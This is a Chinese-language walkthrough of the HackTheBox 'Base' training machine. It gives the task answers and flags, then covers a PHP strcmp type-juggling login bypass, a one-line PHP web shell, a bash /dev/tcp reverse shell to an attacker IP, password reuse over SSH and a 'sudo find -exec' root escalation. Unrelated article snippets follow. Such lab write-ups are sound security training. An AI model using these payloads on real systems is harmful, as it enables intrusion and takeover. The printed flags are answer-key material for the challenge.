HackTheBox-Starting Point--Tier 2---Base
文章目录
- 一 题目
- 二 过程记录
- 2.1 打点
- 2.2 权限获取
- 2.3 横向移动
- 2.4 权限提升
一 题目
Tags
Web、Vulnerability Assessment、Custom Applications、Source Code Analysis、Authentication、Apache、PHP、Reconnaissance、Web Site Structure Discovery、SUDO Exploitation、Authentication bypass、Clear Text Credentials、Arbitrary File Upload、Information Disclosure、PHP type juggling译文:Web、漏洞评估、自定义应用程序、源代码分析、认证、Apache、PHP、侦察、网站结构发现、SUDO 开发、身份验证绕过、明文凭据、任意文件上传、信息披露、PHP类型杂技
Connect
To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。
SPAWN MACHINE
Spawn the target machine and the IP will show here.译文:生成目标机器,IP 将显示在此处
TASK 1
Which two TCP ports are open on the remote host?译文:远程主机开启了哪两个TCP端口?答:22,80
TASK 2
What is the relative path on the webserver for the login page?译文:登录页面在 Web 服务器上的相对路径是什么?答:/login/login.php
TASK 3
How many files are present in the '/login' directory?译文:“/login”目录中有多少个文件?答:3
TASK 4
What is the file extension of a swap file?译文:swap文件的扩展名是什么?答:.swp
TASK 5
Which PHP function is being used in the backend code to compare the user submitted username and password to the valid username and password?译文:后端代码中使用了哪个 PHP 函数来将用户提交的用户名和密码与有效的用户名和密码进行比较?答:strcmp()
TASK 6
In which directory are the uploaded files stored?译文:上传的文件存储在哪个目录中?答:/_uploaded
TASK 7
Which user exists on the remote host with a home directory?译文:home 目录的远程主机上存在哪个用户?答:john
TASK 8
What is the password for the user present on the system?译文:系统上存在的用户的密码是什么?答:thisisagoodpassword
TASK 9
What is the full path to the command that the user john can run as user root on the remote host?译文:用户 john 可以在远程主机上以 root 用户身份运行的命令的完整路径是什么?答:/usr/bin/find
TASK 10
What action can the find command use to execute commands?译文:find 命令可以使用什么操作来执行命令?答:exec
SUBMIT FLAG
Submit user flag译文:用户flag答:f54846c258f3b4612f78a819573d158e
SUBMIT FLAG
Submit root flag译文:提交root flag答:51709519ea18ab37dd6fc58096bea949
二 过程记录
2.1 打点
1.端口扫描
nmap -sV -sC 10.129.198.121
2.访问web页面,并发现敏感信息
访问80端口,点击Login,页面跳转到 http://10.129.198.121/login/login.php
去掉login.php访问:http://10.129.32.71/login/,发现登录文件、配置文件、swp文件
SWP文件
:是一种备份Vim编辑器临时文件的格式。在Vim编辑器意外中断时,SWP文件能够帮助用户恢复丢失的内容。也可以通过手动设置SWAP文件路径环境变量的方式来更改文件存储位置。SWP文件是临时文件,在正确操作的情况下,Vim会自动删除这些文件。
swp文件是一个临时文件,它包含许多非可读的内容,因此可以使用 strings命令来读取这个交换文件, strings命令可以显示人类可读的文本。
# strings命令可以查看当前查看的文件类型,并且可以提取文本
strings login.php.swp
执行strings命令,显示如下:
b0VIM 8.0
root
base
/var/www/html/login/login.php
3210
#"! <input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required><div class="form-group"><div class="row" align="center"><form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe"><div class="col-lg-12 mt-5 mt-lg-0"><div class="row mt-2"></div><p>Use the form below to log into your account.</p><h2>Login</h2><div class="section-title mt-5" ><div class="container" data-aos="fade-up"><section id="login" class="contact section-bg" style="padding: 160px 0"><!-- ======= Login Section ======= --></header><!-- End Header --></div></nav><!-- .navbar --><i class="bi bi-list mobile-nav-toggle"></i></ul><li><a class="nav-link scrollto action" href="/login.php">Login</a></li><li><a class="nav-link scrollto" href="/#contact">Contact</a></li><li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li><li><a class="nav-link scrollto" href="/#team">Team</a></li><li><a class="nav-link scrollto" href="/#services">Services</a></li><li><a class="nav-link scrollto" href="/#about">About</a></li><li><a class="nav-link scrollto" href="/#hero">Home</a></li><ul><nav id="navbar" class="navbar"><!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>--><!-- Uncomment below if you prefer to use an image logo --><h1 class="logo"><a href="index.html">BASE</a></h1><div class="container d-flex align-items-center justify-content-between"><header id="header" class="fixed-top"><!-- ======= Header ======= -->
<body>
</head><link href="../assets/css/style.css" rel="stylesheet"><!-- Template Main CSS File --><link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet"><link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet"><link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet"><link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet"><link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet"><link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"><link href="../assets/vendor/aos/aos.css" rel="stylesheet"><!-- Vendor CSS Files --><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet"><!-- Google Fonts --><link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon"><link href="../assets/img/favicon.png" rel="icon"><!-- Favicons --><meta content="" name="keywords"><meta content="" name="description"><title>Welcome to Base</title><meta content="width=device-width, initial-scale=1.0" name="viewport"><meta charset="utf-8">
<head>
<html lang="en">
<!DOCTYPE html>}print("<script>alert('Wrong Username or Password')</script>");} else {}print("<script>alert('Wrong Username or Password')</script>");} else {header("Location: /upload.php");$_SESSION['user_id'] = 1;if (strcmp($password, $_POST['password']) == 0) {if (strcmp($username, $_POST['username']) == 0) {require('config.php');
if (!empty($_POST['username']) && !empty($_POST['password'])) {
session_start();
<?php
</html>
</body><script src="../assets/js/main.js"></script>
查看文件内容,发现文件内容是颠倒的,利用tac命令将文件从尾部到头部重新输出一遍:
strings login.php.swp >> file.txt# mac下使用tail -r命令
tail -r fiel.txt
# linux下使用tac命令
tac file.txt
整理后的文件内容如下:
<script src="../assets/js/main.js"></script>
</body>
</html>
<?php
session_start();
if (!empty($_POST['username']) && !empty($_POST['password'])) {require('config.php');if (strcmp($username, $_POST['username']) == 0) {if (strcmp($password, $_POST['password']) == 0) {$_SESSION['user_id'] = 1;header("Location: /upload.php");} else {print("<script>alert('Wrong Username or Password')</script>");}} else {print("<script>alert('Wrong Username or Password')</script>");}
<!DOCTYPE html>
<html lang="en">
<head><meta charset="utf-8"><meta content="width=device-width, initial-scale=1.0" name="viewport"><title>Welcome to Base</title><meta content="" name="description"><meta content="" name="keywords"><!-- Favicons --><link href="../assets/img/favicon.png" rel="icon"><link href="../assets/img/apple-touch-icon.png" rel="apple-touch-icon"><!-- Google Fonts --><link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i|Raleway:300,300i,400,400i,500,500i,600,600i,700,700i|Poppins:300,300i,400,400i,500,500i,600,600i,700,700i" rel="stylesheet"><!-- Vendor CSS Files --><link href="../assets/vendor/aos/aos.css" rel="stylesheet"><link href="../assets/vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"><link href="../assets/vendor/bootstrap-icons/bootstrap-icons.css" rel="stylesheet"><link href="../assets/vendor/boxicons/css/boxicons.min.css" rel="stylesheet"><link href="../assets/vendor/glightbox/css/glightbox.min.css" rel="stylesheet"><link href="../assets/vendor/remixicon/remixicon.css" rel="stylesheet"><link href="../assets/vendor/swiper/swiper-bundle.min.css" rel="stylesheet"><!-- Template Main CSS File --><link href="../assets/css/style.css" rel="stylesheet">
</head>
<body><!-- ======= Header ======= --><header id="header" class="fixed-top"><div class="container d-flex align-items-center justify-content-between"><h1 class="logo"><a href="index.html">BASE</a></h1><!-- Uncomment below if you prefer to use an image logo --><!-- <a href="index.html" class="logo"><img src="../assets/img/logo.png" alt="" class="img-fluid"></a>--><nav id="navbar" class="navbar"><ul><li><a class="nav-link scrollto" href="/#hero">Home</a></li><li><a class="nav-link scrollto" href="/#about">About</a></li><li><a class="nav-link scrollto" href="/#services">Services</a></li><li><a class="nav-link scrollto" href="/#team">Team</a></li><li><a class="nav-link scrollto" href="/#pricing">Pricing</a></li><li><a class="nav-link scrollto" href="/#contact">Contact</a></li><li><a class="nav-link scrollto action" href="/login.php">Login</a></li></ul><i class="bi bi-list mobile-nav-toggle"></i></nav><!-- .navbar --></div></header><!-- End Header --><!-- ======= Login Section ======= --><section id="login" class="contact section-bg" style="padding: 160px 0"><div class="container" data-aos="fade-up"><div class="section-title mt-5" ><h2>Login</h2><p>Use the form below to log into your account.</p></div><div class="row mt-2"><div class="col-lg-12 mt-5 mt-lg-0"><form id="login-form" action="" method="POST" role="form" style="background-color:#f8fbfe"><div class="row" align="center"><div class="form-group"><input type="text" name="username" class="form-control" style="max-width: 30%;" id="username" placeholder="Your Username" required>
#"!
3210
/var/www/html/login/login.php
base
root
b0VIM 8.0
3.代码分析
如上代码块中:开发人员使用strcmp()来检查用户名和密码的组合,当用户输入正确时,返回0,此时登录成功。
在php中,如果在变量前加上[]
,会把变量转化为数组。如果给strcmp()函数一个空数组($username[] & $password[])
进行比较,结果将返回NULL,==运算符只检查变量的值是否相等,但是NULL的值为0。返回0,则登录成功。也就成功绕过登录。
4.使用burpsuite更改请求包绕过登录
拦截请求包,将username=admin&password=123更改为username[]=admin&password[]=123
,成功绕过登录。发现一个上传页面。
2.2 权限获取
5.文件上传漏洞利用
上传一句话木马
<?php echo system($_REQUEST['cmd']);?>
暴力破解上传文件保存路径,发现存在一个_uploaded目录
./gobuster dir -u http://10.129.32.71/ -w php.txt
点击访问request.php文件,页面为空
但是如果添加?cmd=id
执行系统命令,执行成功
6.获取反弹shell
攻击机器开启监听ncat -lnvp 1234
对反弹shell进行URL编码
/bin/bash -c 'bash -i>& /dev/tcp/10.10.14.11/1234 0>&1'
然后在URL中执行,成功拿到shell
2.3 横向移动
访问http://10.129.198.167/login/config.php页面时,页面为空白,此时www-data权限下查看config.php文件,发现用户名和密码:
$username = "admin";
$password = "thisisagoodpassword"
列举home目录下的用户,并尝试使用上文获取到的密码thisisagoodpassword切换到john,但是显示需要交互式shell才可以使用su命令
22端口开放,尝试使用ssh连接,john用户登录成功
ssh john@10.129.198.167
thisisagoodpassword
获取到john用户的flag
2.4 权限提升
# 列出当前用户可以利用sudo执行哪些命令
sudo -l
输出显示:john用户可以以root权限执行find命令
执行以下命令获取root权限
sudo find . -exec /bin/sh \; -quit
相关文章:

HackTheBox-Starting Point--Tier 2---Base
文章目录 一 题目二 过程记录2.1 打点2.2 权限获取2.3 横向移动2.4 权限提升 一 题目 Tags Web、Vulnerability Assessment、Custom Applications、Source Code Analysis、Authentication、Apache、PHP、Reconnaissance、Web Site Structure Discovery、SUDO Exploitation、Au…...

算法导论笔记4:散列数 hash
一 了解一些散列的基本概念,仅从文字角度,整理了最基础的定义。 发现一本书,《算法图解》,微信读书APP可读,有图,并且是科普性质的读物,用的比喻很生活化,可以与《算法导论》合并起…...

知识蒸馏概述及开源项目推荐
文章目录 1.介绍2.知识2.1 基于响应的知识(response-based)2.2 基于特征的知识(feature-based)2.3 基于关系的知识(relation-based) 3.蒸馏机制3.1 离线蒸馏3.2 在线蒸馏3.3 自蒸馏 4.教师-学生架构5.蒸馏算法5.1 对抗性蒸馏(Adversarial Dis…...

jupyter notebook中markdown改变图像大小
文章目录 🕮原始图像🕮改变图像大小🕮使图像靠左 在 jupyter notebook中,导入的图片过大,想要改变图像的大小 🕮原始图像 🕮改变图像大小 复制小括号里面的内容到src后面,满足<…...
SpringGateWay——yml文件配置详解
Spring Gateway 是一个基于 Spring 框架的网关服务,主要作用是将流量路由到不同的微服务中。它的灵活性和可扩展性使它成为构建云原生应用架构的不二之选。 下面是 Spring Gateway 的 yml 文件配置参数详解: spring:cloud: gateway: routes: # 路由相…...

Haproxy实现七层负载均衡
目录 Haproxy概述 haproxy算法: Haproxy实现七层负载 ①部署nginx-server测试页面 ②(主/备)部署负载均衡器 ③部署keepalived高可用 ④增加对haproxy健康检查 ⑤测试 Haproxy概述 haproxy---主要是做负载均衡的7层,也可以做4层负载均衡 apache也可…...
k8s最详细集群部署
安装kubeadm、kubectl、和 kubelet 这里通过百度网盘下载所需要的安装包: 链接: k8s部署包.zip_免费高速下载|百度网盘-分享无限制 提取码: 0000 1、下载部署包到本地后,在k8s部署包/k8s目录下 执行此yum命令安装:yum localinstall ./*.r…...
Redis底层数据结构:字典
在 Redis 中,字典(Dictionary)是一种常用的底层数据结构,它被用于实现 Redis 的哈希表(Hash Table)数据结构。字典用于存储键值对,它提供了快速的键值查找、插入和删除操作。 Redis 字典的特点&…...

upload 文件自动上传写法,前后端 下载流文件流
<el-uploadv-model:file-list"fileList":action"app.api/student/student/import":headers"{// Content-Type: multipart/form-data;boundary----split-boundary, 此处切记不要加,否则会造成后端报错 Required request part file is…...

Python文件、文件夹操作汇总
目录 一、概览 二、文件操作 2.1 文件的打开、关闭 2.2 文件级操作 2.3 文件内容的操作 三、文件夹操作 四、常用技巧 五、常见使用场景 5.1 查找指定类型文件 5.2 查找指定名称的文件 5.3 查找指定名称的文件夹 5.4 指定路径查找包含指定内容的文件 一、概览 在…...

CHM Viewer Star 6.3.2(CHM文件阅读)
CHM Viewer Star 是一款适用于 Mac 平台的 CHM 文件阅读器软件,支持本地和远程 CHM 文件的打开和查看。它提供了直观易用的界面设计,支持多种浏览模式,如书籍模式、缩略图模式和文本模式等,并提供了丰富的功能和工具,如…...

【GIT】git分支命令,使用分支场景介绍git标签介绍,git标签命令,git标签使用的场景git查看提交历史
目录 一,git分支命令,使用分支场景介绍 二,git标签介绍,git标签命令,git标签使用的场景 三,git查看提交历史 前言: 今天我们来聊聊关于Git 分支管理。几乎每一种版本控制系统都以某种形式支持…...

Zeitgeist ZTG Token以及其预测市场加入Moonbeam生态
波卡上的首选多链开发平台Moonbeam宣布与Zeitgeist达成XCM集成,将ZTG Token引入Moonbeam。此集成将使波卡内的Moonbeam和Zeitgeist网络之间的流动性得以流动,并通过Moonbeam的互连合约实现远程链集成。 Zeitgeist是一个基于波卡的Substrate区块链框架构…...
AM@方向导数概念和定理
文章目录 abstract方向导数二元函数方向导数偏导数是方向导数的特例偏导数存在一定有对应的方向导数存在方向导数存在不一定有偏导数存在例 三元函数方向导数例 方向导数存在定理和计算公式证明二元函数三元函数 abstract 方向导数的概念,定理和计算公式方向导数是对偏导的补充…...

微信小程序隐私政策不合规,应当由用户自主阅读后自行选择是否同意隐私政策协议,不得默认强制用户同意
小程序隐私政策不合规,默认自动同意《用户服务协议》及《隐私政策》,应当由用户自主阅读后自行选择是否同意隐私政策协议,不得默认强制用户同意,请整改后再重新提交。 把 登录代表同意《用户协议》和《隐私政策》 改为 同意《用…...
Python中如何判断两个对象的内存地址是否一致?
目录 一、引言 二、Python的内存管理 三、对象的比较 四、使用id函数判断内存地址 五、总结 一、引言 在Python中,我们经常需要比较两个对象是否是同一个对象,或者说它们是否在内存中占据同一位置。在理解这个问题之前,我们需要了解Pyt…...

唯美仙侠3D手游2023【仙变3】画面精美/linux服务端+双端+GM后台+运营后台+详细教程
搭建资源下载地址:https://www.ldmzy.com/6618/6618.html...
React组件通信:如何优雅地实现组件间的数据传递
在React应用中,组件通信是至关重要的一部分。通过合适的数据传递和交互方式,我们可以构建出更加灵活和高效的前端应用。本文将介绍React组件通信的各种方式,并提供代码实现,帮助你更好地理解和应用这些技术。 1. 使用props进行父子…...

数据分析实战 | 逻辑回归——病例自动诊断分析
目录 一、数据及分析对象 二、目的及分析任务 三、方法及工具 四、数据读入 五、数据理解 六、数据准备 七、模型训练 八、模型评价 九、模型调参 十、模型预测 一、数据及分析对象 CSV文件——“bc_data.csv” 数据集链接:https://download.csdn.net/d…...
Eigen::Matrix<double,3,1> F;Eigen::MatrixXd F (3, 2);这两行代码有什么区别?
这两行代码的区别在于定义的矩阵 F 的类型和维度不同。 第一行: Eigen::Matrix<double,3,1> F;这行代码创建了一个3x1的矩阵 F,其中元素类型为 double。这是一个静态大小的矩阵,其维度在编译时确定。 第二行: Eigen::Ma…...
【Linux】shell脚本忽略错误继续执行
在 shell 脚本中,可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行,可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令,并忽略错误 rm somefile…...
<6>-MySQL表的增删查改
目录 一,create(创建表) 二,retrieve(查询表) 1,select列 2,where条件 三,update(更新表) 四,delete(删除表…...

剑指offer20_链表中环的入口节点
链表中环的入口节点 给定一个链表,若其中包含环,则输出环的入口节点。 若其中不包含环,则输出null。 数据范围 节点 val 值取值范围 [ 1 , 1000 ] [1,1000] [1,1000]。 节点 val 值各不相同。 链表长度 [ 0 , 500 ] [0,500] [0,500]。 …...

【OSG学习笔记】Day 16: 骨骼动画与蒙皮(osgAnimation)
骨骼动画基础 骨骼动画是 3D 计算机图形中常用的技术,它通过以下两个主要组件实现角色动画。 骨骼系统 (Skeleton):由层级结构的骨头组成,类似于人体骨骼蒙皮 (Mesh Skinning):将模型网格顶点绑定到骨骼上,使骨骼移动…...

MFC 抛体运动模拟:常见问题解决与界面美化
在 MFC 中开发抛体运动模拟程序时,我们常遇到 轨迹残留、无效刷新、视觉单调、物理逻辑瑕疵 等问题。本文将针对这些痛点,详细解析原因并提供解决方案,同时兼顾界面美化,让模拟效果更专业、更高效。 问题一:历史轨迹与小球残影残留 现象 小球运动后,历史位置的 “残影”…...

抽象类和接口(全)
一、抽象类 1.概念:如果⼀个类中没有包含⾜够的信息来描绘⼀个具体的对象,这样的类就是抽象类。 像是没有实际⼯作的⽅法,我们可以把它设计成⼀个抽象⽅法,包含抽象⽅法的类我们称为抽象类。 2.语法 在Java中,⼀个类如果被 abs…...
HybridVLA——让单一LLM同时具备扩散和自回归动作预测能力:训练时既扩散也回归,但推理时则扩散
前言 如上一篇文章《dexcap升级版之DexWild》中的前言部分所说,在叠衣服的过程中,我会带着团队对比各种模型、方法、策略,毕竟针对各个场景始终寻找更优的解决方案,是我个人和我司「七月在线」的职责之一 且个人认为,…...

第一篇:Liunx环境下搭建PaddlePaddle 3.0基础环境(Liunx Centos8.5安装Python3.10+pip3.10)
第一篇:Liunx环境下搭建PaddlePaddle 3.0基础环境(Liunx Centos8.5安装Python3.10pip3.10) 一:前言二:安装编译依赖二:安装Python3.10三:安装PIP3.10四:安装Paddlepaddle基础框架4.1…...

论文阅读:Matting by Generation
今天介绍一篇关于 matting 抠图的文章,抠图也算是计算机视觉里面非常经典的一个任务了。从早期的经典算法到如今的深度学习算法,已经有很多的工作和这个任务相关。这两年 diffusion 模型很火,大家又开始用 diffusion 模型做各种 CV 任务了&am…...
大数据治理的常见方式
大数据治理的常见方式 大数据治理是确保数据质量、安全性和可用性的系统性方法,以下是几种常见的治理方式: 1. 数据质量管理 核心方法: 数据校验:建立数据校验规则(格式、范围、一致性等)数据清洗&…...